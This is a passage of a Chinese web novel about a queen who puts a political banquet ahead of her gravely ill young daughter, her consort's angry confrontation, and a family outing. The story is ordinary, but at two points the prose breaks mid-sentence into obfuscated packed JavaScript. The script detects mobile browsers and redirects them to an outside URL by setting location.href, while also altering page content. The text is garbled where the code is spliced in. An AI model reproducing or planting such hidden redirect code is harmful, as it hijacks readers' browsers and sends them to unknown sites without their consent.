昭彦的心痛得无以复加。他紧紧抱着女儿,感受着她小小的身体因委屈而颤抖,眼中闪过一抹难以抑制的怒意与失望。 他对魏勉这种近乎冷酷的功利性育儿方式,产生了前所未有的不满。他知道魏勉肩上的担子重,知道她对恒儿期望高,但这绝不该是以牺牲一个孩子本该拥有的母爱与童年为代价! 但他终究没有选择直接去质问魏勉。他知道,以魏勉如今的心性与地位,他的质问或许不仅于事无补,反而会引发更大的冲突。他能做的,只有默默地,用自己的方式,去弥补女儿缺失的温暖。 自那天起,只要有空,昭彦便会亲自指导魏恒的灵力训练和体能。他不像那些教习灵主那样严苛,而是耐心讲解,循循善诱,肯定她的每一个进步,在她失败时给予鼓励。他会陪她练剑,教她在灵力之外,也要有强健的体魄和不屈的意志。他会在她累的时候,将她高高举起,逗她开心;会在她哭泣的时候,将她紧紧抱在怀里,告诉她“爹爹永远在这里”。 他用一个父亲的、属于力者的、或许不够细腻却足够坚实可靠的方式,努力地呵护着这颗在母亲的严寒下,有些过早地品尝到权力世界残酷滋味的小小幼苗。 恒儿,别怕。有爹爹在。无论你母皇如何,爹爹会永远保护你,陪着你。 你是爹爹唯一的骄傲。 他在心中暗暗发誓,也要更加警惕宫内外的动向,尤其是裴家。 父女俩相依的身影,在偌大的练武场上,显得有些孤单,却又异常坚定。 13. 君王宴饮,不闻太子泣血声 此刻的玉麟殿内,灯火辉煌,暖意融融。鎏金龙柱在宫灯映照下熠熠生辉,长长的御案上摆满了山珍海味、奇珍异果、以及各地进贡的美酒佳酿。悠扬的丝竹之声在殿内回荡,气氛热烈而融洽。 然而,今夜的宾客,却并非满朝文武,只有寥寥数人。 魏勉身着威严而不失华美的赤金色朝服,端坐于主位之上。她的下手边,分坐着两位当今宵朝军方权力中枢的核心人物——身着暗红色将铠、面容刚毅的大司戎霍靖戎,以及穿着一身藏青色兵部尚书官服、眼神锐利、显得更为年轻激进的兵部尚书周桀。 朝局看似稳固,实则暗流涌动。裴家与段家,一北一东,手握重兵,声望日隆,已成国之柱石,却也是悬在王权之上,最锋利的两柄双刃剑。今日这场极其私密的宴请,名为君臣同乐、犒赏军功,实则是魏勉要在这两位中央军方心腹心中,种下一颗制衡的种子。 宴席开始,魏勉含笑举杯,先是肯定了霍、周二人在整编中央禁军、肃正军纪方面的功劳,并赏赐了二人一些极其珍贵、有助于灵力修炼的灵药,言辞之间既有君主的威严,又不失恰到好处的亲和与赏识,将气氛掌控得炉火纯青。 酒过三巡,待气氛微醺,魏勉放下酒杯,轻轻一叹,脸上露出一丝恰到好处的、属于君主的忧虑。 “今日请二位爱卿来,”她的声音平静,却带着一丝引人深思的重量,“除了叙功,亦有一事,孤心中,颇为挂怀。” 霍靖戎与周桀立刻放下酒杯,正襟危坐:“请王上明示。” “北境的裴统率和东海的段统率,皆是我宵朝的擎天之柱,劳苦功高,这一点,孤与天下人都铭记在心。”魏勉先是给予了极高的肯定,随即话锋一转,语气中带上了一丝担忧,“但孤近日翻阅兵部与各地方送来的奏报,却发现一个问题。” 她的目光,如同最锐利的鹰隼,落在了两人身上:“北境雪狼卫,只识裴氏之旗,不认朝廷之令;东海之水师,也多为段氏之旧部,外人难以插手。兵强马壮,固然可喜,但军心若不归于中央,军令若不能畅通无阻,于国,终是大患啊。” 霍靖戎闻言,眉头微蹙,沉吟不语。她身为大司戎,自然明白军权集中的重要性。 而一旁的兵部尚书周桀立刻出列,抱拳道:“王上圣明,远见万里!臣在梳理各地军备、后勤档案时,也早已察觉此等隐患!裴、段两位大统率虽忠心耿耿,但其麾下将士皆为一族一地之人,长此以往,恐成私军,一旦有变,中央难以节制!臣以为,此风,绝不可长!” 周桀的这番话,说得慷慨激昂,既表达了对王上的忠心,又精准地将矛头指向了裴、段两家,完全说出了魏勉想说却不便直接说出口的话。 霍靖戎终于抬起头,沉声道:“王上深谋远虑,臣……附议。请王上示下,我等该当如何?”她知道,王上今日召见她们,绝不仅仅是发几句牢骚。 魏勉的脸上,终于露出了满意的笑容。她要的,就是这个态度。 “很好。”她站起身,走到一张巨大的军事舆图前,指着北境与东海的广阔疆域,声音充满了不容置疑的力量: “所以,孤想让你们二位,镇戎府与兵部,联手拟定一份《全军武备及人事清查条陈》。” “霍爱卿,”她看向霍靖戎,“你从战略统筹的角度,为孤制定一套新的、统一的、适用于全军的将官考核与轮换制度。从今往后,无论是北境雪狼卫的什长,还是东海水师的船长,其升迁,都必须经过中央的考核与批准!任何统率麾下的关键副职,都必须有中央派遣的人员参与,或定期轮换!” “周爱卿,”她又看向周桀,“你则从军政后勤的角度,给孤组建最精锐的审计和督查队伍,对各大军区的兵员名册、武备库存、粮饷发放,进行一次彻底的、无死角的清查造册!” 她的声音陡然变冷:“孤要让宵朝的每一名灵主将士,每一位力者,都知道军饷来自何方、荣耀归于何处、究竟是为谁而战!” 这番话,如同最锋利的刀,直指地方军阀化的核心——人事权与财权。 这是一份得罪人的苦差事,但同样也是一份能极大加强她们中央军方权力的、无上的恩宠! 霍靖戎眼中闪烁着属于战略家的光芒,她看到了一个真正实现“中央军令如山”的未来。而周桀的内心,更是充满了激动与野心,她看到了兵部的权力将因此而空前膨胀! “臣等,领旨!”两人立刻单膝跪地,声音铿锵有力,充满了决心,“必不负王上重托!” 就在此时,一名内侍总管脸色焦急地匆匆从殿外走入,快步来到魏勉身边,压低声音,用只有两人能听到的音量飞快禀报:“王、王上......首夫大人抱着太子殿下在外求见,十万火急!说......说太子殿下她......近日训练过猛,走火入魔了!” 魏勉脸上的笑容瞬间凝固,握着酒杯的手指猛地收紧,眼中极快地闪过一丝震惊与心疼。 恒儿?!走火入魔?!怎么会?! 她几乎是下意识地就想站起身来。但目光扫过阶下相谈正欢、对这边变故毫无察觉的霍靖戎与周桀,以及其他几位重要的臣工......理智瞬间将她的冲动压了下去。 不行!今日这场宴会至关重要,关乎朝堂未来的权力格局,关乎对霍、周两大势力的整合与掌控!我若此刻离席,不仅前功尽弃,更会引人猜测,动摇人心!恒儿......恒儿有太医在,昭彦也在......她灵力底子那么好,不会......不会有事的...... 这个念头在她脑中飞速转过。君主的理智与政治的权衡,在这一刻,压倒了母亲的本能。 她强行压下心中的担忧与焦躁,脸上重新恢复了平静,只是声音略微低沉了几分,对内侍总管吩咐道:“知道了。传孤的旨意,让首夫立刻带太子回他的寝殿,命宫中所有太医即刻前往诊治,动用所有珍稀药材,务必确保太子无虞!告诉首夫,孤处理完眼前要事,随后便到。” 她的语气冷静得近乎冷酷,眼中却飞快地掠过一丝难以掩饰的愧疚与挣扎。 内侍总管领命,匆匆退下。 魏勉深吸一口气,端起酒杯,脸上重新绽放出滴水不漏的、属于君主的明艳笑容,仿佛什么都未曾发生过一般,继续与霍、周二人周旋、谈笑、布局。 恒儿......等母皇......母皇很快就来......你一定要撑住...... 她在心中默念,却未曾料到,这一“很快”,竟是持续到了月上中天,宴会散尽。 当魏勉终于摆脱了所有的应酬,带着一身酒气和疲惫,匆匆赶到昭彦寝殿时,已是深夜。 殿内烛火昏暗,空气中弥漫着浓重的药香。数名太医和宫人屏息侍立在一旁,大气不敢出。 床榻之上,魏恒小小的身体被锦被包裹着,脸色依旧苍白透明,双目紧闭,已然陷入了深度的昏迷。若非胸口还有微弱的起伏,几乎让人以为...... 昭彦坐在床边,背对着门口,一动不动,像一尊石化的雕像。他紧紧握着女儿冰凉的小手,置于自己脸颊边,仿佛想用自己的体温去温暖她。 听到脚步声,他并未回头。 魏勉快步走到床边,当看清女儿那毫无生气的惨白小脸时,她被压抑的母性突然如巨浪般反扑,痛得无法呼吸! 她声音颤抖,带着自己都未曾察觉的恐慌:“恒儿!太医!她......她到底怎么样了?!” 首席太医连忙上前,躬身回禀:“回王上,太子殿下灵力逆行之势臣等已用金针勉强稳住,也用了固本培元的汤药。但......逆行的灵力已损伤部分经脉,若不及时以至纯灵力温养疏导,恐、恐会留下难以挽回的后患!此事,非王上您亲自出手不可!” 魏勉闻言,再无犹豫。她立刻坐在床边,屏退左右,深吸一口气,将自己精纯而磅礴的灵力缓缓凝聚于掌心,然后小心翼翼地按在魏恒的小腹丹田之处,开始以最温柔、最精细的方式,引导、梳理着女儿体内那些狂躁不安、横冲直撞的灵力。 时间一点一滴过去,魏恒紧蹙的眉头渐渐舒展,苍白的小脸上也泛起了一丝微弱的红晕,身体不再颤抖,呼吸也变得绵长平稳起来。 魏勉额角渗出细密的汗珠,灵力的精细操控远比大开大合的施展更耗心神。看着女儿终于转危为安,她心中一块大石落地,却也涌起无边的后怕与愧疚。 她低头,轻轻吻了吻女儿的额头,声音沙哑:“恒儿......对不起......是母皇......逼你太紧了......” 就在这时,一直沉默着的昭彦,猛地站了起来! 他转过身,双拳紧握,眼中燃烧着熊熊的怒火,那是一种混杂了心疼、失望、愤怒到极致的情绪!他死死地盯着魏勉,声音低沉压抑,却如同即将爆发的火山: “王上!”他几乎是从牙缝里挤出这两个字,“您......还知道是您逼她太紧?!” 魏勉一愣,抬起头,对上他那双充满了血丝、仿佛要喷出火来的眼睛。 “恒儿她才四岁!”昭彦的声音陡然拔高,带着难以抑制的颤抖,“就因为一场比试没有如您的意,您就对她冷若冰霜!逼着她日夜苦练!她为了讨您欢心,为了让您多看她一眼,把自己逼成了什么样子?!现在她走火入魔,生死一线,您知道吗?!” 他的胸膛剧烈起伏,积压了数日的担忧、心疼、以及对魏勉的不满,在这一刻彻底爆发出来:“今日!臣抱着昏迷不醒的恒儿,在殿外求见您!您人在哪里?!您在里面!在和您那些“股肱之臣”推杯换盏!谈笑风生!” “您是王上!宵朝离不开您!可您难道忘了,您也是她的母亲吗?!在她最需要您的时候,您在哪里?!” 魏勉被他一连串的指控问得脸色发白,心中愧疚更甚,但同时,被最亲近之人如此当面指责,也激起了她身为君主的傲气和怒火。 她猛地站起身,冷声道:“昭彦!你放肆!孤宴请重臣,是为了宵朝的江山社稷!是为了给她,给所有宵朝子民一个稳固的未来!孰轻孰重,孤心中自有分寸!” “恒儿是太子!未来的君主!这点挫折都承受不起,将来如何担负重任?!孤逼她,是为她好!是为了让她变得更强!”她试图用君主的逻辑来为自己辩解,语气严厉,眼中是属于王者的、不容置疑的威严。 “为她好?!”昭彦闻言,却像是听到了天大的笑话,发出一声悲愤的低吼,“她才三岁啊!她需要的是母亲的怀抱和疼爱!不是您这冷冰冰的”为她好”!她昏迷的时候,嘴里一声声喊着”母皇”、”母皇”......您知道臣听着,心有多痛吗?!” 他上前一步,逼视着魏勉,眼中是深深的失望和痛楚,声音哽咽:“王上......您的心,当真就如此坚硬,如此......冷酷无情了吗?您难道真的忘了......恒儿不仅仅是您的太子,她更是......咱们俩的女儿啊!” 最后那句话,如同重锤,狠狠地敲在了魏勉的心上。她眼中闪过一丝明显的痛楚和动摇,强压下去的怒火被愧疚和悲伤取代。她张了张嘴,想说些什么,却发现喉咙干涩,发不出任何声音。 “昭彦......孤......”她声音微颤,带着一丝不易察觉的示弱,“孤知道......今日是孤错了......孤不该不出来见你们,孤只是......当时实在是脱不开身!孤怎会不疼恒儿......” 昭彦看着她眼中一闪而过的脆弱,心中却只剩下冰冷的失望。他缓缓地摇了摇头,发出一声近乎疲惫的冷笑:“王上......您不必再说了。” 他转过身,不再看她,重新坐回床边,轻轻握住魏恒依旧昏睡的小手,将脸颊贴在女儿温热的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏恒被这突如其来的、久违的亲昵和关切弄得有些发懵,但母亲怀抱的温暖和熟悉的馨香是如此真实,让她瞬间红了眼眶,小手紧紧环住魏勉的脖子,带着哭腔,用力点头又摇头:“不、不疼了......母皇......恒儿......恒儿想您了......” “母皇也想你,担心死你了!”魏勉怜爱地轻抚着女儿柔软的头发,将她抱到软榻上坐好,亲自端来温热的、加了灵蜜的牛乳羹,柔声哄道,“恒儿乖,喝一点,对身体好。你可知晓,若非母皇昨日一结束宴席就立刻赶过去,用自己的本源灵力为你一点点梳理那些乱窜的坏东西,你今日哪能好得这么快?” 她刻意强调了是自己“一结束就赶去”、“用本源灵力”、“亲自救治”,语气中充满了后怕与庆幸,狡猾地将自己未能第一时间出现的责任,转化为最终救治成功的功劳。“母皇怎会不疼你呢?你可是母皇的心头肉,是宵朝未来的希望啊!” 魏恒哪里懂得这其中的曲折,她只听到母皇说一直担心自己,是母皇救了自己,母皇心里是有她的!小孩子的心思单纯,对母爱的渴望是如此强烈,瞬间便被魏勉这番饱含深情的言语和温柔的举动彻底融化了。 她用力点头,大口喝着甜羹,眼中充满了对母亲的依恋和崇拜:“母皇......儿臣知道您最疼我了!” 母女间因比试和严苛训练产生的隔阂,在魏勉这番母爱攻势下,似乎顷刻间便烟消云散。 看着女儿重新对自己敞开心扉,魏勉心中暗暗松了口气,但眼底深处,却掠过一丝复杂难辨的光芒。她轻轻搂着魏恒,语气转为语重心长,开始进行下一步的教导: “恒儿,你可知母皇为何对你那般严厉,又为何对你那日比试的表现那般生气?” 魏恒抬起头,眼中还有些许不解。 魏勉抚摸着她的脸颊,柔声道:“因为你是太子,是宵朝未来的王上。灵力角斗,不仅仅是比试武技,更是向天下万民、向所有世家臣属展示你储君威仪与天赋的舞台!万众瞩目之下,你代表的不仅是你自己,更是孤,是整个宵朝王室的颜面!” 她的语气变得郑重:“那裴景珑虽有几分蛮力,又是雷霆灵力,但怎能与你这继承了孤最精纯风火血脉的太子相提并论?你与她战成平手,甚至险些落败,这不仅会让孤蒙羞,更会让那些心怀叵测之人觉得......太子之位,或许并非稳如泰山!” 她看着女儿似懂非懂却又认真倾听的模样,放缓了声音,眼中带着期许:“孤生气,不是不爱你,恰恰是因为太爱你,对你期望太高!孤希望你能明白,生于王室,你的每一步都关系重大。你要变得更强,强到让任何人都不敢生出觊觎之心,强到足以承担起这万里江山!母皇逼你,是希望你能早日真正成长起来,明白吗?” 君王的权术考量、政治的残酷现实,巧妙地包裹在“为你好”、“高期望”的母爱糖衣之中。四岁的魏恒或许还不能完全理解其中的深意,但她能感受到母皇话语中的良苦用心和对自己的重视。 她用力点了点头,小脸上写满了决心:“母皇,儿臣知错了!儿臣以后一定更加努力修炼,绝不再让您失望,不给宵朝丢脸!” “好孩子。”魏勉眼中露出满意的神色,将她再次拥入怀中,“母皇信你。从今日起,母皇得空便亲自教导你的风火灵术,我们母子同心,定能让那些宵小之辈不敢再有妄念。” 魏勉暗想:“恒儿,你必须尽快强大起来。裴景珑在角斗中展露锋芒,裴家的声望随之水涨船高,朝中已经有隐晦的声音在提及‘双星并蒂’......若不将你这太子之位彻底稳固,只怕夜长梦多。母皇只能用这种方式来保护你。” 母女俩依偎在一起,一个沉浸在失而复得的母爱与奋发图强的决心之中,一个则在温情脉脉的表象之下,冷静地盘算着下一步棋局。 14. 一日出逃,暂缓宫深忌与愁 为了缓和与昭彦之间那降至冰点的关系,也为了向他展示自己对女儿的关爱,数日后,魏勉特意抽出一个清晨,亲自来到练武场,指导魏恒修炼新学的风火融合之术,并派人请昭彦前来旁观指教。 秋日的练武场,阳光正好,微风带着桂花的清香。 魏恒经过母亲的亲自疏导和几日休养,精神好了许多,此刻正一丝不苟地按照魏勉的指点,努力凝聚着风与火两种灵力。她的小脸因为专注而绷得紧紧的,额角沁出细汗,但眼中却充满了认真和对母亲认可的渴望。 魏勉今日也未着朝服,只穿了一身便于活动的劲装,长发束起,英姿飒爽。她耐心地纠正着魏恒的动作和灵力运转的细节,语气虽然依旧严格,却不再有之前的冰冷,反而带着一种专注的温柔:“恒儿,凝神,感受风的流动,再将火的炽热融入其中......对,慢一点,不要急......” 昭彦一身深色常服,沉默地站在练武场的另一侧。他双手抱臂,身姿挺拔如松,俊朗的面容却如同覆了一层寒霜。 他的目光,几乎全程都落在女儿身上,充满了不加掩饰的疼爱与担忧。当魏恒的灵力出现一丝不稳,他的心都会跟着揪紧;当魏恒踉跄跌倒,他都会上前将她扶起、轻轻拍拍灰尘;当魏恒成功完成一个动作,他眼中会闪过欣慰。 但对于场边的魏勉,他却几乎是视而不见,连一个眼神都吝于给予。 魏勉自然感受到了他那如同实质般的冷淡与疏离。她心中微叹,却没有表现出任何不快。她知道,那夜的争吵和她之前的行为,确实伤透了他的心,弥合需要时间,更需要行动。 训练持续了一个时辰,魏恒虽然累得小脸通红,满头大汗,但看着自己手中成功凝聚出的一小团稳定旋转着的、带着风声的火焰,还是忍不住兴奋地欢呼起来,扑进刚刚收功的魏勉怀里,仰着小脸求表扬:“母皇!母皇!你看!恒儿做到了!厉害吗?” “厉害!我们恒儿最厉害了!”魏勉笑着将她高高抱起,在她红扑扑的小脸上亲了一口,眼中满是真实的赞赏与骄傲。她抱着女儿,转过身,看向一直沉默着的昭彦,语气带着试探,也带着一丝不易察觉的柔软:“昭彦,你看,恒儿今日进步不小呢。” 昭彦的目光落在女儿兴奋的小脸上,脸上的线条终于柔和了些许,但对魏勉,依旧语气平淡:“王上亲自教导,太子殿下天赋异禀,自然进步神速。” 魏勉也不恼,只是抱着魏恒走到他面前,用一种近乎商量的语气,轻声说道:“昭彦,今日天气正好,朝中也无甚要紧事务。不如......我们带恒儿出宫去走走?就我们三个,不带侍卫宫人,扮作寻常人家,陪恒儿好好玩上一天,如何?” 昭彦闻言,猛地一愣,眼中闪过极度复杂的光芒。有惊讶,有不解,有警惕,但更多的,是一种被深深触动的、几乎不敢相信的渴望。 像寻常人家一样......他们三个......一整天...... 这个提议,像一颗石子投入他冰封的心湖,激起了圈圈涟漪。他几乎是下意识地就想答应,可随即又想起这些日子所受的冷遇,脸上的表情再次冷了下来,声音生硬:“王上,宫外人多眼杂,太子千金之躯,恐有不妥......” 他话未说完,怀里的魏恒已经听懂了母亲的提议,立刻兴奋地扭过头,伸出小手抓住昭彦的衣袖,用力摇晃着撒娇:“爹爹! 去嘛去嘛!恒儿想出去玩!想和母皇、和爹爹一起出去玩!”那双酷似魏勉的大眼睛扑闪扑闪地望着他,充满了期盼。 被女儿这样依赖地央求着,昭彦心头最柔软的那一块瞬间被击中了。他看着女儿纯真兴奋的小脸,再看着魏勉眼中那份难得的、带着示好与期盼的柔光,心中的冰层,终于开始出现了裂痕。 罢了......就算是为了恒儿,也看看她是否真的有所改变。 他在心中轻轻叹了口气,紧绷的嘴角终于松动了一丝,声音依旧低沉,却不再那么冰冷:“好。一切听王上安排。” 魏勉眼中瞬间绽放出明亮的光彩,如同阴霾散尽后的阳光。她用力点了点头,笑着说:“太好了!那就这么说定了!我们这就去换衣服,简单收拾一下就走!” 她一手抱着魏恒,另一只手,甚至带着一丝雀跃地、主动拉了拉昭彦的衣袖,眼中充满了对即将到来的“平凡一天”的期待。 半个时辰后,三道与周遭环境格格不入却又努力融入其中的身影,出现在了京都繁华的东市大街上。 魏勉换上了一件半旧的青布长裙,头上简单地裹着一块素色布巾,遮掩了大部分容貌。她刻意收敛了所有灵力波动,嘴角带着轻松的笑意,看上去就像一个带着女儿出门赶集的寻常市民。 昭彦则穿了一身粗布短打,腰间随意地插着一把不出鞘的短刀,扮作一个走街串巷的普通武人。他高大的身材和俊朗的面容在一众布衣百姓中依旧显眼,脸上带着几分初扮此装的不自在,但看向身边妻主和女儿的目光中,却已不自觉地带上了几分柔和。 而被两人一左一右牵着的魏恒,则是一身灰扑扑的棉布小袄裤,头发梳成两个简单的小辫子,正睁着一双好奇的大眼睛,兴奋地看着周围琳琅满目的各色摊贩和川流不息的人群,小脸上满是新奇。 街市上人声鼎沸,叫卖声、吆喝声、讨价还价声不绝于耳。卖糖画的小摊前围满了孩子,捏面人手艺精巧,货郎担上的布老虎更是吸引了魏恒的全部注意力。 “母皇!母皇!你看那个!龙!好大的糖龙!”魏恒指着一个刚刚画好的、金灿灿的糖画,兴奋地跳着脚。 “好好好,母皇给你买。”魏勉笑着,从袖袋里掏出几文钱,递给摊主,接过那支栩栩如生的糖龙,递到女儿手里,柔声叮嘱,“慢点吃,小心粘到衣服上。” 魏恒迫不及待地舔了一口,甜得眉眼都弯了起来,发出满足的“唔”声,然后举起糖龙,递到昭彦面前,奶声奶气地说:“爹爹!你也吃!可甜了!” 昭彦一愣,看着女儿期待的小脸和魏勉含笑的目光,心中一暖。他低下头,小心翼翼地咬了一小口糖龙的尾巴,味蕾被久违的简单甜腻包裹,竟也觉得不错。他对着女儿,露出一个发自内心的微笑:“嗯,真甜。” 魏勉看着他嘴角那一闪而逝的笑意,心中也像被什么东西填满了。她故意用胳膊肘轻轻撞了撞他,带着一丝调侃的语气:“光吃糖有什么意思?那边有套圈的,昭副将,不去给你家小公主赢个布老虎回来?” 昭彦脸上刚刚浮现的笑意立刻收敛了些,冷淡地“哼”了一声,似乎想表示不屑,但还没等他开口拒绝,魏恒已经兴奋地拽着他的衣角往前跑了:“爹爹套圈!爹爹套!恒儿要大老虎!” 被女儿拽着,昭彦脸上写满了无奈,眼中却已没了之前的冰冷。他走到摊前,拿起几个竹圈,深吸一口气,目光瞬间变得专注锐利。他手臂一扬,竹圈精准地飞出—— “中了!” “又中了!” “哇!三个全中!” 摊主和周围看热闹的人都发出了惊叹。昭彦轻松地将那只最大的、系着红绸带的布老虎赢了下来。 “哇!爹爹好厉害!爹爹最棒了!”魏恒抱着比她半个身子还大的布老虎,兴奋地扑进昭彦怀里,在他脸上响亮地亲了一口。 昭彦被女儿这突如其来的亲昵弄得一愣,随即脸上彻底冰消雪融,露出了一个温柔得能溺死人的笑容。他紧紧抱住女儿,在她软软的头发上蹭了蹭,低声道:“恒儿喜欢就好。爹爹......爹爹只要恒儿开心。” 魏勉站在一旁,看着这一幕,看着昭彦脸上那久违的、不带丝毫阴霾的笑容,眼眶不由自主地有些湿润。 昭彦......若能日日如此,该有多好?就算舍了这至高无上的权力...... 或许......也值得? 但这个念头只如同一道微光,在她心底一闪而逝。 中午,三人在一个不起眼的小食摊前坐下。魏勉点了一碗热气腾腾、撒着葱花的杂粮面,又给昭彦点了一份酱肉烧饼。她耐心地将面条吹凉,然后一勺一勺地喂给魏恒。 “恒儿慢点吃,看你这小花猫脸!”魏勉笑着,看着女儿吃得满嘴油光。 魏恒一边呼噜呼噜地吃面,一边含糊不清地说:“好吃!母皇喂的面最好吃!” 昭彦默默地吃着烧饼,目光却一直落在魏恒身上。见她脸上沾了汤汁,他很自然地拿出随身携带的干净手帕,仔细地为女儿擦干净嘴角和脸颊,这是他照顾孩子养成的习惯,动作轻柔得与他平日里握剑的手判若两人。 魏勉看着他细致入微的动作,心中一动,柔声说道:“昭彦,你看你,把恒儿照顾得多好。有你这样的爹爹,是恒儿的福气。” 昭彦擦拭的动作微微一顿,抬眼看了看魏勉,眼中闪过一丝复杂的情绪,最终只是低声道:“王上言重了。照顾恒儿,是臣分内之事。”语气虽然还是带着点疏离,但那份冰冷已然消散了大半。 魏勉趁热打铁,伸手覆上他放在桌上的手背,低声道:“昭彦,别‘王上’、‘臣’的了。今日,没有君臣,只有我们一家三口。只有勉儿,昭彦,和恒儿。好不好?” 她的手温软,她的眼神真诚。昭彦的心,在那温软的触碰和真诚的目光下,终是彻底软化了。他沉默了片刻,感受着掌心下那只微微颤抖的手,最终,轻轻地点了点头,声音低沉却温柔:“......好。” 傍晚,夕阳将天边染成了瑰丽的橘红色。 三人来到了京都郊外的一条清澈小河边。晚风习习,杨柳依依。魏恒早已忘记了疲惫,正兴奋地在河滩上捡拾着光滑的鹅卵石,然后用力扔进水里,看着溅起的水花和一圈圈荡漾开的涟漪,发出清脆的笑声。 “母皇!爹爹!快看!好多圈圈!好好玩!” 魏勉和昭彦并肩坐在河边的草地上,看着女儿无忧无虑嬉戏的背影,都感到一种前所未有的宁静与平和。 魏勉轻轻地、试探地将头靠在了昭彦宽厚的肩膀上。昭彦身体微微一僵,但终究没有推开她。 “昭彦,”魏勉的声音很轻,带着一丝怅惘,“我好久......没有像今天这样开心过了。你呢?” 昭彦沉默了许久,久到魏勉以为他不会回答。然后,他才用一种近乎叹息的声音,低低地道:“......我也是。” 他的声音里,已听不出丝毫的冷淡,只有一种被温暖触动后的、淡淡的疲惫与释然。 魏勉心中一暖,伸手,主动握住了他放在草地上的手。他的手下意识地想要缩回,却被她用力握紧了。 “昭彦,”她的声音带着一丝哽咽,也带着无比的郑重,“我知道,之前是我不好,是我忽略了你,也伤了恒儿。你信我,以后我一定会多抽出时间,好好陪着你,陪着孩子们。” 昭彦感受着她掌心传递过来的温度和决心,他反手回握住她的手,感受着那份失而复得的亲密,低声道:“......嗯。我信你。” 夕阳的最后一缕余晖洒在他们身上,将三个人的影子拉得很长很长。 归途中,魏恒早已在昭彦温暖的怀抱里沉沉睡去,小脸上带着满足的笑容,怀里还紧紧抱着那只赢来的布老虎。 魏勉与昭彦并肩走着,十指相扣。 魏勉看着女儿安详的睡颜,又看了看身边沉默却不再冰冷的男人,心中充满了前所未有的、踏实的幸福感。 这一次短暂的“出逃”,如同在紧绷的现实中撕开的一道口子,让阳光和暖风得以照进两人之间逐渐冰封的关系之中。裂痕虽未完全消失,但希望的种子,已然重新种下。 从喧嚣热闹的市井回到肃穆的宫墙之内,仿佛从温暖的人间烟火瞬间坠入了清冷的月色琼楼。白日里那份属于寻常人家的轻松与自在,如同潮水般迅速褪去,属于王上与首夫的身份与隔阂,又悄然回到了两人之间。 昭彦的寝殿内,烛火静静燃烧,映照着熟悉的陈设——冰冷的兵器架,整齐的书卷,以及那张宽大却略显孤寂的床榻。 魏勉已经换下布衣,穿着一身轻软舒适的素色寝衣,长发如瀑般披散下来。白日里沾染的市井烟火气似乎还未完全散去,让她眉眼间的线条都柔和了许多,眼中带着一种回味悠长的、满足的笑意。 昭彦也换回了家常的灰色长衫,正在耐心地哄着怀里的魏恒。小丫头显然还没有从白日的兴奋中缓过劲来,抱着那只赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817789|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的大布老虎,小脸上满是快活的神采,在床上滚来滚去,咯咯笑着:“母皇!爹爹!今天好好玩呀!恒儿还要出去玩!还要吃那个甜甜的龙!” 魏勉走到床边坐下,笑着捏了捏女儿的小脸蛋,声音温柔:“恒儿乖,今天玩累了,先睡觉觉。改日得空,母皇再带你和爹爹出去玩,好不好?” 她安抚好女儿,抬眼看向一旁眉眼间也带着残存笑意的昭彦,心中一动。白日里那种抛开一切身份、只作为魏勉和昭彦相处的轻松与亲密,让她无比眷恋。她想将这份“寻常”延续下去,哪怕只是短暂的一夜。 她凑近昭彦,声音压得低低的,带着一丝试探,也带着几分羞涩与期待:“昭彦......”她顿了顿,似乎有些难以启齿,“今日当了一天寻常爱侣,我心里竟觉得好满足......前所未有。” 她抬眼,飞快地看了他一眼,又迅速低下头,声音更轻了些:“你说......那些真正的寻常爱侣,到了夜晚,又是如何......相爱的呢?” 她的问题大胆而直白,完全不像平日里那个运筹帷幄的王上,反而像个初尝情事滋味、对一切都充满好奇的少年。 昭彦闻言,身体猛地一僵,握着女儿小手的手指不自觉地收紧。他抬起头,看向魏勉那双在烛光下显得格外明亮、充满了某种期待与向往的眼眸,喉头艰涩地滚动了一下。 他如何不懂她的意思?白日里那份久违的抛开身份的亲近,同样深深触动了他。他甚至比她更渴望那种纯粹的、不掺杂任何权力与地位的交付。 他深吸一口气,声音低沉而温柔,带着一丝难以言喻的深情:“王上,寻常爱侣之间,或许并没有什么特别的法门。不过是心意相通,彼此交付,再无......旁骛罢了。” 他的话语简单,却仿佛蕴含着千言万语。 然而,这片刻的温情脉脉与心意相通,却被一个稚嫩的声音毫不留情地打断了。 一直竖着耳朵听两人说话的魏恒,忽然从被子里钻出来,伸出小胳膊,一边抱住魏勉的脖子,一边抓住昭彦的衣襟,奶声奶气却又带着不容置疑的坚决:“母皇!爹爹!恒儿今晚要睡在中间!你们两个都要抱着恒儿睡!不许分开!” 小丫头显然是将白日里三人形影不离的模式,理所当然地延续到了晚上。她用力地将父母往中间拉,自己则心满意足地躺在两人中间,一手抱着布老虎,一手还要分别抓住父母的一根手指,才肯闭上眼睛,脸上带着霸道的、满足的笑容。 魏勉与昭彦对视一眼,皆从对方眼中看到了哭笑不得的无奈。 魏勉用口型无声地对昭彦说了句:“这小家伙......”然后宠溺地亲了亲女儿的额头,柔声道:“好好好,恒儿最大,今晚就睡中间,母皇和爹爹都陪着你。” 三人并排躺在宽大的床榻上。魏恒大概是真的玩累了,又或许是感受到了父母都在身边的安心,很快便抱着她心爱的布老虎,发出了均匀香甜的呼吸声,沉沉睡去。 寝殿内安静下来,只剩下窗外偶尔传来的虫鸣,以及三人平稳的呼吸声。 烛火被宫人进来悄悄剪灭了大半,只留下角落里一盏发出微弱光芒的长明灯。月光如水银般透过窗棂,静静地洒落在床榻上,勾勒出温馨而宁静的画面。 魏勉侧过头,借着朦胧的月色,凝视着近在咫尺的昭彦的侧脸。他的眉眼在睡梦中似乎也舒展了许多,少了平日的隐忍和疏离,多了几分难得的平和。她的心,不由得又软了几分。 